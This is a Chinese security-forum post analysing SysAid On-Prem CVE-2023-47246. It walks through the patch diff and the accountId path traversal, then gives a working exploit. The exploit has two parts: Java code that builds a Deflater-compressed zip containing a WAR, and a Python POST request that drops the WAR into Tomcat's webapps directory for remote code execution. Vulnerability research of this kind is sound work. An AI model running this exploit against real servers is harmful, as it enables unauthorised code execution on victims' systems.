奇安信攻防社区-【Web】SysAid On-Prem Software CVE-2023-47246 目录穿越RCE

【Web】SysAid On-Prem Software CVE-2023-47246 目录穿越RCE

2023 年 11 月 8 日，SysAid 发布了一份公告，表示他们的本地服务器软件存在先前未公开的漏洞，并且发现了公开的野外利用，本文将对该漏洞进行分析，并给出利用方式。

公告
==

<https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification>

说是有一个目录穿越可以传war包，导致rce了。

下载
==

<https://cdn3.sysaid.com/OnPremInstall/23.3.36/SysAidServer64.exe>

<https://cdn3.sysaid.com/OnPremInstall/23.3.35/SysAidServer64.exe>

安装需要试用证书，这个自己想办法，我没有，只是看了看diff。

补丁diff
======

com.ilient.server.UserEntry#doPost

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-742707b71e4f3c3e14b9047fc1ff720aeff0ea70.png)

修了目录穿越

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-a518227334bfa6f94ab310668c8fdecf93e12b02.png)

var4来自accountId参数，在a函数中存在目录穿越

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-d3a681d4d3d2b4e10d1da955381a12b4abcc3d2d.png)

最终会被拼接到文件路径中，并且写入`InflaterInputStream var29 = new InflaterInputStream(var1.getInputStream());`数据流

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-6af63dff0fcc3abe1f3c3b0afc8b91bea702dc79.png)

但是这里文件名是时间戳.zip，继续往后看还有一个a函数

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-f985ae0900a0cab80c8fb3528ba83ce1984a2526.png)

这里var1是accountid，解压时间戳.zip，var1可以跨目录，虽然判断了目录穿越`var10.getCanonicalPath().startsWith(var5 + File.separator)`，但是var1本来就是目录穿越的，所以判断没用。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-fb8bea255bd77e603629472fe4bacb39f76a8879.png)

这样就能自定义war包名字了，配合tomcat自动部署rce。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-3df2ade7a5c5ef1231ea84689e58226f478fcaf8.png)

构造exp
=====

实际利用发现需要绕过几个点

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-193891c6f2240680f4e721fc6c17d0b0d02d9ab4.png)

isLdapSupport会执行sql判断`count(ldap_id)>1`

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-a7a338b0f61ed152d3b6c692073289ef1a1d8e9e.png)

最终是拼接accountid当作数据库名，然后查询判断`count(ldap_id)>1`

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-ae561efc912f079b206100bfa1a127fd00a99295.png)

这里需要手动配置下后台（所以这个洞是非默认配置！！！）

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-7d0947a10d55bd4b5827017df35911a1b6311804.png)

默认数据库名是ilient

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-ce04663c1b4e8e224136df29e400d0c82da9f61c.png)

另外就是war包构造，需要用Deflater压缩一下

```java
import org.springframework.util.StreamUtils;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.zip.Deflater;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

public class Main {
    public static void main(String[] args) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("1.zip");
        ZipOutputStream zipOutputStream = new ZipOutputStream(fileOutputStream);
        zipOutputStream.putNextEntry(new ZipEntry("haha.war"));
        zipOutputStream.write(StreamUtils.copyToByteArray(new FileInputStream("C:\\Users\\asd\\Desktop\\war\\w.war")));
        zipOutputStream.closeEntry();
        zipOutputStream.flush();
        zipOutputStream.finish();

Deflater deflater = new Deflater();
        FileInputStream fileInputStream = new FileInputStream("1.zip");
        byte[] data = StreamUtils.copyToByteArray(fileInputStream);
        deflater.setInput(data);
        deflater.finish();
        byte[] output;
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
        try {
            byte[] buf = new byte[1024];
            while (!deflater.finished()) {
                int i = deflater.deflate(buf);
                bos.write(buf, 0, i);
            }
            output = bos.toByteArray();
        } catch (Exception e) {
            output = data;
            e.printStackTrace();
        } finally {
            bos.close();
        }
        deflater.end();

new FileOutputStream("1.dat").write(output);
    }
}
```

```python
import requests

proxy = {
'http':'http://localhost:8080'
}
headers = {
'Content-Type':'application/octet-stream'
}
r = requests.post('http://172.16.1.237:8080/userentry?accountId=ilient/../../../../tomcat/webapps&symbolName=LDAP_REFRESH_',headers=headers,data=open('1.dat','rb'),proxies=proxy)
```

python发包就能部署war包了。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2023/11/attach-dbebbb65a69a9f209416ea480dc21e4f30ff088a.png)

总结
==

和@r4v3zn折腾了两三天才实现完整的构造，主要是卡在没许可证上了。装环境2小时，rce2分钟。

发表于 2023-11-24 10:00:00
阅读 ( 17361 )
分类：漏洞分析

【Web】SysAid On-Prem Software CVE-2023-47246 目录穿越RCE

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